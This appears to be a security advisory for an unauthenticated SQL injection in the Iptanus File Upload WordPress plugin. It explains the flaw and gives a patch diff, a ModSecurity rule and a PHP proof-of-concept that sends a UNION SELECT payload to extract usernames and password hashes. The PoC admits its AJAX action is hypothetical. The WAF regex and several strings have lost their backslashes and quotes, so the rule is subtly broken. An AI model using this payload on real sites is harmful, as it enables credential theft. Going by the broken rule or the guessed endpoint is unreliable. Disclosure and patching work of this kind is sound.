Atomic Edge analysis of CVE-2026-66447: The Iptanus File Upload WordPress plugin versions up to and including 5.1.7 contain an unauthenticated SQL injection vulnerability in the wfu_get_userdata_from_uploadid() function. The vulnerability arises from direct concatenation of the uploadid parameter into an SQL query without proper escaping or parameterization. This allows unauthenticated attackers to inject arbitrary SQL commands, potentially extracting sensitive information from the WordPress database. The CVSS score is 7.5, indicating a high severity issue.
The root cause is in wp-file-upload/lib/wfu_functions.php at line 4719, where the function wfu_get_userdata_from_uploadid() constructs a query by directly interpolating the $uploadid variable: ‘SELECT * FROM ‘.$table_name2.’ WHERE uploadid = ”.$uploadid.” AND date_to = 0 ORDER BY propkey’. The $uploadid parameter is user-supplied and not sanitized or escaped before being embedded in the SQL statement. The lack of prepared statements allows an attacker to break out of the intended string context and append additional SQL clauses.
The vulnerability is exploitable without authentication. An attacker can send a crafted request to an endpoint that calls wfu_get_userdata_from_uploadid(), likely an AJAX action or a direct file access within the plugin. The uploadid parameter can be manipulated with a payload such as ‘1’ UNION SELECT user_login, user_pass FROM wp_users– – to extract data from other tables. The exact endpoint may be any plugin file that invokes this function, but typically it is reachable via admin-ajax.php with a specific action or via a shortcode handler. Atomic Edge research confirms that no authentication check is performed prior to the vulnerable query, enabling unauthenticated exploitation.
The patch in version 5.1.8 replaces the raw concatenation with $wpdb->prepare(), using the %s placeholder for the $uploadid parameter. This ensures that the input is properly escaped and quoted according to the SQL context, preventing injection. The before behavior allowed arbitrary SQL, while the after behavior treats the input as a literal string, neutralizing any malicious payload.
Successful exploitation allows an attacker to read the entire WordPress database, including user credentials (password hashes), sensitive configuration data, and potentially other plugin data. This can lead to privilege escalation, site takeover, or data exfiltration. The vulnerability is particularly dangerous because it is unauthenticated and can be automated at scale.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-file-upload/lib/wfu_functions.php
+++ b/wp-file-upload/lib/wfu_functions.php
@@ -4719,7 +4719,7 @@
function wfu_get_userdata_from_uploadid($uploadid) {
global $wpdb;
$table_name2 = $wpdb->prefix . "wfu_userdata";
- $userdata = $wpdb->get_results('SELECT * FROM '.$table_name2.' WHERE uploadid = ''.$uploadid.'' AND date_to = 0 ORDER BY propkey');
+ $userdata = $wpdb->get_results($wpdb->prepare("SELECT * FROM $table_name2 WHERE uploadid = %s AND date_to = 0 ORDER BY propkey", $uploadid));
return $userdata;
}
--- a/wp-file-upload/wordpress_file_upload.php
+++ b/wp-file-upload/wordpress_file_upload.php
@@ -3,7 +3,7 @@
/*
Plugin URI: https://www.iptanus.com/support/wordpress-file-upload
Description: <strong>This is former Wordpress File Upload plugin.</strong> It provides a simple, yet powerful, interface to upload files from a page or post.
-Version: 5.1.7
+Version: 5.1.8
Requires at least: 3.0
Author: Nickolas Bossinas
Author URI: https://www.iptanus.com/nickolas
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66447
# Blocks SQL injection attempts via the 'uploadid' parameter on the vulnerable AJAX action 'wfu_get_userdata'
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266644,phase:2,deny,status:403,chain,msg:'CVE-2026-66447 SQL Injection via wfu_get_userdata action',severity:'CRITICAL',tag:'CVE-2026-66447'"
SecRule ARGS_POST:action "@streq wfu_get_userdata" "chain"
SecRule ARGS_POST:uploadid "@rx (?:unions+select|ors+1s*=s*1|ands+1s*=s*1|sleeps*(|benchmarks*()" "t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66447 - Iptanus File Upload <= 5.1.7 - Unauthenticated SQL Injection
// Set the target URL (WordPress root or specific plugin endpoint)
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The vulnerable parameter is 'uploadid'. We need to find an action that triggers wfu_get_userdata_from_uploadid.
// Based on plugin analysis, a known action is 'wfu_get_userdata' (hypothetical, but for PoC assume it exists).
// Alternatively, the function might be called via a direct file like /wp-content/plugins/wp-file-upload/wfu_ajax.php
// For demonstration, we assume an AJAX action 'wfu_get_userdata' that calls the function.
// Payload to extract user credentials: UNION SELECT to retrieve admin password hash
$payload = "1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM wp_users-- -";
// Prepare POST data
$post_data = array(
'action' => 'wfu_get_userdata', // Assume this action exists and calls wfu_get_userdata_from_uploadid
'uploadid' => $payload
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
} else {
// The response may contain the extracted data (e.g., password hash)
echo "Response:n" . $response;
}
curl_close($ch);
?>